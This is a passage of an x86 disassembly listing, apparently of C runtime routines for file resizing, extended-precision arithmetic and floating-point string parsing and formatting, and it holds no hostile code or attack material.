; --------------------------------------------------------------------------- loc_424EAE: ; CODE XREF: sub_424E01+92j xor eax, eax jmp short loc_424EA7 sub_424E01 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4239DB loc_424EB2: ; CODE XREF: sub_4239DB+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DCC60, esi jle short loc_424F05 loc_424EC1: ; CODE XREF: sub_4239DB+1528j mov eax, dword_4DBC48 mov eax, [eax+esi*4] test eax, eax jz short loc_424EFC test byte ptr [eax+0Ch], 83h jz short loc_424EE0 push eax call sub_41B05B cmp eax, 0FFFFFFFFh pop ecx jz short loc_424EE0 inc edi loc_424EE0: ; CODE XREF: sub_4239DB+14F6j ; sub_4239DB+1502j cmp esi, 14h jl short loc_424EFC mov eax, dword_4DBC48 push dword ptr [eax+esi*4] call sub_41B0B1 mov eax, dword_4DBC48 pop ecx and dword ptr [eax+esi*4], 0 loc_424EFC: ; CODE XREF: sub_4239DB+14F0j ; sub_4239DB+1508j inc esi cmp esi, dword_4DCC60 jl short loc_424EC1 loc_424F05: ; CODE XREF: sub_4239DB+14E4j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4239DB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F0A proc near ; CODE XREF: sub_423A33+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DCD80 jnb loc_42503F mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DCC80[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_42503F push 1 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_425049 push 2 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_425049 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_424FEC push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41B590 push 8000h push ebx call sub_425B44 add esp, 14h mov [ebp+arg_4], eax loc_424FA0: ; CODE XREF: sub_424F0A+BDj mov eax, 1000h cmp edi, eax jge short loc_424FAB mov eax, edi loc_424FAB: ; CODE XREF: sub_424F0A+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_424FC9 sub edi, eax test edi, edi jle short loc_424FDF jmp short loc_424FA0 ; --------------------------------------------------------------------------- loc_424FC9: ; CODE XREF: sub_424F0A+B5j cmp dword_4DB92C, 5 jnz short loc_424FDC mov dword_4DB928, 0Dh loc_424FDC: ; CODE XREF: sub_424F0A+C6j or esi, 0FFFFFFFFh loc_424FDF: ; CODE XREF: sub_424F0A+BBj push [ebp+arg_4] push ebx call sub_425B44 pop ecx pop ecx jmp short loc_42502C ; --------------------------------------------------------------------------- loc_424FEC: ; CODE XREF: sub_424F0A+71j jge short loc_42502C push 0 push [ebp+arg_4] push ebx call sub_42272B push ebx call sub_4238A2 add esp, 10h push eax nop call near ptr 2600000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_42502C mov dword_4DB928, 0Dh nop call near ptr 268082Fh mov dword_4DB92C, eax loc_42502C: ; CODE XREF: sub_424F0A+E0j ; sub_424F0A:loc_424FECj ... push 0 push [ebp+arg_0] push ebx call sub_42272B add esp, 0Ch mov eax, esi pop edi jmp short loc_42504C ; --------------------------------------------------------------------------- loc_42503F: ; CODE XREF: sub_424F0A+1Aj ; sub_424F0A+36j mov dword_4DB928, 9 loc_425049: ; CODE XREF: sub_424F0A+4Ej ; sub_424F0A+63j or eax, 0FFFFFFFFh loc_42504C: ; CODE XREF: sub_424F0A+133j pop esi pop ebx leave retn sub_424F0A endp ; =============== S U B R O U T I N E ======================================= sub_425050 proc near ; CODE XREF: sub_4241CF+2Bp ; sub_4241CF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425066 cmp ecx, esi jnb short loc_425069 loc_425066: ; CODE XREF: sub_425050+10j push 1 pop eax loc_425069: ; CODE XREF: sub_425050+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425050 endp ; =============== S U B R O U T I N E ======================================= sub_425071 proc near ; CODE XREF: sub_42512A+40p ; sub_42512A+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 inc dword ptr [esi+8] loc_4250A3: ; CODE XREF: sub_425071+19j ; sub_425071+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250BB inc dword ptr [esi+8] loc_4250BB: ; CODE XREF: sub_425071+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425050 add esp, 0Ch pop edi pop esi retn sub_425071 endp ; =============== S U B R O U T I N E ======================================= sub_4250CF proc near ; CODE XREF: sub_42512A+30p ; sub_42512A+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4250CF endp ; =============== S U B R O U T I N E ======================================= sub_4250FD proc near ; CODE XREF: sub_4256C2+1C8p ; sub_425BBA+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4250FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42512A proc near ; CODE XREF: sub_4251F1+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42519E push edi mov [ebp+arg_8], eax loc_425151: ; CODE XREF: sub_42512A+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4250CF push ebx call sub_4250CF lea eax, [ebp+var_10] push eax push ebx call sub_425071 push ebx call sub_4250CF mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425071 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425151 xor edx, edx pop edi loc_42519E: ; CODE XREF: sub_42512A+21j ; sub_42512A+9Fj cmp [ebx+8], edx jnz short loc_4251CB mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42519E ; --------------------------------------------------------------------------- loc_4251CB: ; CODE XREF: sub_42512A+77j mov esi, 8000h loc_4251D0: ; CODE XREF: sub_42512A+B9j test [ebx+8], esi jnz short loc_4251E5 push ebx call sub_4250CF add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4251D0 ; --------------------------------------------------------------------------- loc_4251E5: ; CODE XREF: sub_42512A+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_42512A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251F1 proc near ; CODE XREF: sub_424518+17p ; sub_424545+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_42522C: ; CODE XREF: sub_4251F1+52j mov cl, [edi] cmp cl, 20h jz short loc_425242 cmp cl, 9 jz short loc_425242 cmp cl, 0Ah jz short loc_425242 cmp cl, 0Dh jnz short loc_425245 loc_425242: ; CODE XREF: sub_4251F1+40j ; sub_4251F1+45j ... inc edi jmp short loc_42522C ; --------------------------------------------------------------------------- loc_425245: ; CODE XREF: sub_4251F1+4Fj push 4 pop esi loc_425248: ; CODE XREF: sub_4251F1+AEj ; sub_4251F1+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4254CB ; default ; jumptable 00425254 case 10 jmp off_425692[eax*4] ; switch jump loc_42525B: ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 0 jl short loc_42526C cmp bl, 39h jg short loc_42526C loc_425265: ; CODE XREF: sub_4251F1+C4j ; sub_4251F1+118j push 3 jmp loc_425489 ; --------------------------------------------------------------------------- loc_42526C: ; CODE XREF: sub_4251F1+6Dj ; sub_4251F1+72j cmp bl, byte_43CBB8 jnz short loc_42527B loc_425274: ; CODE XREF: sub_4251F1+124j push 5 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_42527B: ; CODE XREF: sub_4251F1+81j movsx eax, bl sub eax, 2Bh jz short loc_4252A1 dec eax dec eax jz short loc_425295 sub eax, 3 jnz loc_425564 jmp loc_425324 ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_4251F1+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252A1: ; CODE XREF: sub_4251F1+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252AA: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 1 mov [ebp+var_10], edx jl short loc_4252B7 cmp bl, 39h jle short loc_425265 loc_4252B7: ; CODE XREF: sub_4251F1+BFj cmp bl, byte_43CBB8 jz loc_42537F cmp bl, 2Bh jz short loc_4252F9 cmp bl, 2Dh jz short loc_4252F9 cmp bl, 30h jz short loc_425324 loc_4252D2: ; CODE XREF: sub_4251F1+207j cmp bl, 43h jle loc_425564 cmp bl, 45h jle short loc_4252F2 cmp bl, 63h jle loc_425564 cmp bl, 65h jg loc_425564 loc_4252F2: ; CODE XREF: sub_4251F1+EDj push 6 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_4252F9: ; CODE XREF: sub_4251F1+D5j ; sub_4251F1+DAj ... dec edi push 0Bh jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_425301: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 2 jl short loc_42530F cmp bl, 39h jle loc_425265 loc_42530F: ; CODE XREF: sub_4251F1+113j cmp bl, byte_43CBB8 jz loc_425274 cmp bl, 30h jnz loc_4254D9 loc_425324: ; CODE XREF: sub_4251F1+9Fj ; sub_4251F1+DFj mov eax, edx jmp loc_425248 ; --------------------------------------------------------------------------- loc_42532B: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_10], edx ; jumptable 00425254 case 3 loc_42532E: ; CODE XREF: sub_4251F1+184j cmp dword_43CBB4, edx jle short loc_425347 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425355 ; --------------------------------------------------------------------------- loc_425347: ; CODE XREF: sub_4251F1+143j mov ecx, off_43C9A8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425355: ; CODE XREF: sub_4251F1+154j test eax, eax jz short loc_425377 cmp [ebp+var_4], 19h jnb short loc_42536F mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425372 ; --------------------------------------------------------------------------- loc_42536F: ; CODE XREF: sub_4251F1+16Cj inc [ebp+var_8] loc_425372: ; CODE XREF: sub_4251F1+17Cj mov bl, [edi] inc edi jmp short loc_42532E ; --------------------------------------------------------------------------- loc_425377: ; CODE XREF: sub_4251F1+166j cmp bl, byte_43CBB8 jnz short loc_4253E6 loc_42537F: ; CODE XREF: sub_4251F1+CCj mov eax, esi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425386: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+var_4], 0 ; jumptable 00425254 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_42539F loc_425392: ; CODE XREF: sub_4251F1+1ACj cmp bl, 30h jnz short loc_42539F dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425392 ; --------------------------------------------------------------------------- loc_42539F: ; CODE XREF: sub_4251F1+19Fj ; sub_4251F1+1A4j ... cmp dword_43CBB4, edx jle short loc_4253B8 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_4253C6 ; --------------------------------------------------------------------------- loc_4253B8: ; CODE XREF: sub_4251F1+1B4j mov ecx, off_43C9A8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4253C6: ; CODE XREF: sub_4251F1+1C5j test eax, eax jz short loc_4253E6 cmp [ebp+var_4], 19h jnb short loc_4253E1 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4253E1: ; CODE XREF: sub_4251F1+1DDj mov bl, [edi] inc edi jmp short loc_42539F ; --------------------------------------------------------------------------- loc_4253E6: ; CODE XREF: sub_4251F1+18Cj ; sub_4251F1+1D7j cmp bl, 2Bh jz loc_4252F9 cmp bl, 2Dh jz loc_4252F9 jmp loc_4252D2 ; --------------------------------------------------------------------------- loc_4253FD: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp dword_43CBB4, edx ; jumptable 00425254 case 5 mov [ebp+var_24], edx jle short loc_425419 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425427 ; --------------------------------------------------------------------------- loc_425419: ; CODE XREF: sub_4251F1+215j mov ecx, off_43C9A8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425427: ; CODE XREF: sub_4251F1+226j test eax, eax jz loc_4254D9 mov eax, esi jmp short loc_42548A ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o lea ecx, [edi-2] ; jumptable 00425254 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_425443 cmp bl, 39h jle short loc_425487 loc_425443: ; CODE XREF: sub_4251F1+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4254BF dec eax dec eax jz short loc_4254B3 sub eax, 3 jnz loc_425567 loc_425458: ; CODE XREF: sub_4251F1+2A4j push 8 jmp short loc_4254C1 ; --------------------------------------------------------------------------- loc_42545C: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], edx ; jumptable 00425254 case 8 loc_42545F: ; CODE XREF: sub_4251F1+276j cmp bl, 30h jnz short loc_425469 mov bl, [edi] inc edi jmp short loc_42545F ; --------------------------------------------------------------------------- loc_425469: ; CODE XREF: sub_4251F1+271j cmp bl, 31h jl loc_425564 cmp bl, 39h jg loc_425564 jmp short loc_425487 ; --------------------------------------------------------------------------- loc_42547D: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 7 jl short loc_425490 cmp bl, 39h jg short loc_425490 loc_425487: ; CODE XREF: sub_4251F1+250j ; sub_4251F1+28Aj push 9 loc_425489: ; CODE XREF: sub_4251F1+76j pop eax loc_42548A: ; CODE XREF: sub_4251F1+240j dec edi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425490: ; CODE XREF: sub_4251F1+28Fj ; sub_4251F1+294j cmp bl, 30h jnz short loc_4254D9 jmp short loc_425458 ; --------------------------------------------------------------------------- loc_425497: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+arg_18], 0 ; jumptable 00425254 case 11 jz short loc_4254C7 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4254BF dec eax dec eax jnz loc_425567 loc_4254B3: ; CODE XREF: sub_4251F1+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254BF: ; CODE XREF: sub_4251F1+258j ; sub_4251F1+2B8j push 7 loc_4254C1: ; CODE XREF: sub_4251F1+85j ; sub_4251F1+103j ... pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254C7: ; CODE XREF: sub_4251F1+2AAj push 0Ah dec edi pop eax loc_4254CB: ; CODE XREF: sub_4251F1+5Dj ; sub_4251F1+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425254 case 10 jz loc_425569 jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254D9: ; CODE XREF: sub_4251F1+12Dj ; sub_4251F1+238j ... mov edi, [ebp+arg_8] jmp loc_425569 ; --------------------------------------------------------------------------- loc_4254E1: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], 1 ; jumptable 00425254 case 9 xor esi, esi loc_4254EA: ; CODE XREF: sub_4251F1+339j cmp dword_43CBB4, 1 jle short loc_425502 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_425511 ; --------------------------------------------------------------------------- loc_425502: ; CODE XREF: sub_4251F1+300j mov ecx, off_43C9A8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425511: ; CODE XREF: sub_4251F1+30Fj test eax, eax jz short loc_425531 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_42552C mov bl, [edi] inc edi jmp short loc_4254EA ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4251F1+334j mov esi, 1451h loc_425531: ; CODE XREF: sub_4251F1+322j mov [ebp+var_1C], esi loc_425534: ; CODE XREF: sub_4251F1+371j cmp dword_43CBB4, 1 jle short loc_42554C movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_42555B ; --------------------------------------------------------------------------- loc_42554C: ; CODE XREF: sub_4251F1+34Aj mov ecx, off_43C9A8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42555B: ; CODE XREF: sub_4251F1+359j test eax, eax jz short loc_425564 mov bl, [edi] inc edi jmp short loc_425534 ; --------------------------------------------------------------------------- loc_425564: ; CODE XREF: sub_4251F1+99j ; sub_4251F1+E4j ... dec edi jmp short loc_425569 ; --------------------------------------------------------------------------- loc_425567: ; CODE XREF: sub_4251F1+261j ; sub_4251F1+2BCj mov edi, ecx loc_425569: ; CODE XREF: sub_4251F1+2DDj ; sub_4251F1+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425651 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425595 cmp [ebp+var_45], 5 jl short loc_425589 inc [ebp+var_45] loc_425589: ; CODE XREF: sub_4251F1+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425598 ; --------------------------------------------------------------------------- loc_425595: ; CODE XREF: sub_4251F1+38Dj mov eax, [ebp+var_C] loc_425598: ; CODE XREF: sub_4251F1+3A2j cmp [ebp+var_4], 0 jbe loc_425647 loc_4255A2: ; CODE XREF: sub_4251F1+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_4255B0 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_4255A2 ; --------------------------------------------------------------------------- loc_4255B0: ; CODE XREF: sub_4251F1+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_42512A mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4255CF neg eax loc_4255CF: ; CODE XREF: sub_4251F1+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4255DA add eax, [ebp+arg_10] loc_4255DA: ; CODE XREF: sub_4251F1+3E4j cmp [ebp+var_24], ecx jnz short loc_4255E2 sub eax, [ebp+arg_14] loc_4255E2: ; CODE XREF: sub_4251F1+3ECj cmp eax, 1450h jle short loc_425619 mov [ebp+var_2C], 1 loc_4255F0: ; CODE XREF: sub_4251F1+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4255FC: ; CODE XREF: sub_4251F1+454j ; sub_4251F1+45Ej cmp [ebp+var_2C], 0 jz short loc_425662 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425619: ; CODE XREF: sub_4251F1+3F6j cmp eax, 0FFFFEBB0h jge short loc_425629 mov [ebp+var_30], 1 jmp short loc_4255F0 ; --------------------------------------------------------------------------- loc_425629: ; CODE XREF: sub_4251F1+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_425DDA mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425647: ; CODE XREF: sub_4251F1+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425651: ; CODE XREF: sub_4251F1+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425662: ; CODE XREF: sub_4251F1+40Fj cmp [ebp+var_30], 0 jz short loc_425677 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425677: ; CODE XREF: sub_4251F1+426j ; sub_4251F1+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4251F1 endp ; --------------------------------------------------------------------------- off_425692 dd offset loc_42525B ; DATA XREF: sub_4251F1+63r dd offset loc_4252AA ; jump table for switch statement dd offset loc_425301 dd offset loc_42532B dd offset loc_425386 dd offset loc_4253FD dd offset loc_425433 dd offset loc_42547D dd offset loc_42545C dd offset loc_4254E1 dd offset loc_4254CB dd offset loc_425497 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4256C2 proc near ; CODE XREF: sub_4245E9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425724 mov byte ptr [ebx+2], 2Dh jmp short loc_425728 ; --------------------------------------------------------------------------- loc_425724: ; CODE XREF: sub_4256C2+5Aj mov byte ptr [ebx+2], 20h loc_425728: ; CODE XREF: sub_4256C2+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_42574E test edi, edi jnz short loc_42574E cmp [ebp+arg_0], edi jnz short loc_42574E loc_425739: ; CODE XREF: sub_4256C2+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_42594C ; --------------------------------------------------------------------------- loc_42574E: ; CODE XREF: sub_4256C2+6Cj ; sub_4256C2+70j ... cmp dx, si jnz short loc_4257CD mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425767 cmp [ebp+arg_0], 0 jz short loc_425776 loc_425767: ; CODE XREF: sub_4256C2+9Dj test edi, 40000000h jnz short loc_425776 push offset a1Snan ; "1#SNAN" jmp short loc_4257BC ; --------------------------------------------------------------------------- loc_425776: ; CODE XREF: sub_4256C2+A3j ; sub_4256C2+ABj test cx, cx jz short loc_425790 cmp edi, 0C0000000h jnz short loc_425790 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Ind ; "1#IND" jmp short loc_42579F ; --------------------------------------------------------------------------- loc_425790: ; CODE XREF: sub_4256C2+B7j ; sub_4256C2+BFj cmp edi, eax jnz short loc_4257B7 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Inf ; "1#INF" loc_42579F: ; CODE XREF: sub_4256C2+CCj lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_4257AE: ; CODE XREF: sub_4256C2+109j and [ebp+var_4], 0 jmp loc_425925 ; --------------------------------------------------------------------------- loc_4257B7: ; CODE XREF: sub_4256C2+C5j ; sub_4256C2+D0j ... push offset a1Qnan ; "1#QNAN" loc_4257BC: ; CODE XREF: sub_4256C2+B2j lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_4257AE ; --------------------------------------------------------------------------- loc_4257CD: ; CODE XREF: sub_4256C2+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_425DDA add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42582E lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425BBA pop ecx pop ecx loc_42582E: ; CODE XREF: sub_4256C2+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425848 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_42584B jmp loc_425739 ; --------------------------------------------------------------------------- loc_425848: ; CODE XREF: sub_4256C2+173j mov edi, [ebp+arg_C] loc_42584B: ; CODE XREF: sub_4256C2+17Fj cmp edi, 15h jle short loc_425853 push 15h pop edi loc_425853: ; CODE XREF: sub_4256C2+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425869: ; CODE XREF: sub_4256C2+1B4j lea eax, [ebp+var_10] push eax call sub_4250CF dec [ebp+arg_14] pop ecx jnz short loc_425869 test esi, esi jge short loc_425893 neg esi and esi, 0FFh jle short loc_425893 loc_425886: ; CODE XREF: sub_4256C2+1CFj lea eax, [ebp+var_10] push eax call sub_4250FD dec esi pop ecx jnz short loc_425886 loc_425893: ; CODE XREF: sub_4256C2+1B8j ; sub_4256C2+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short 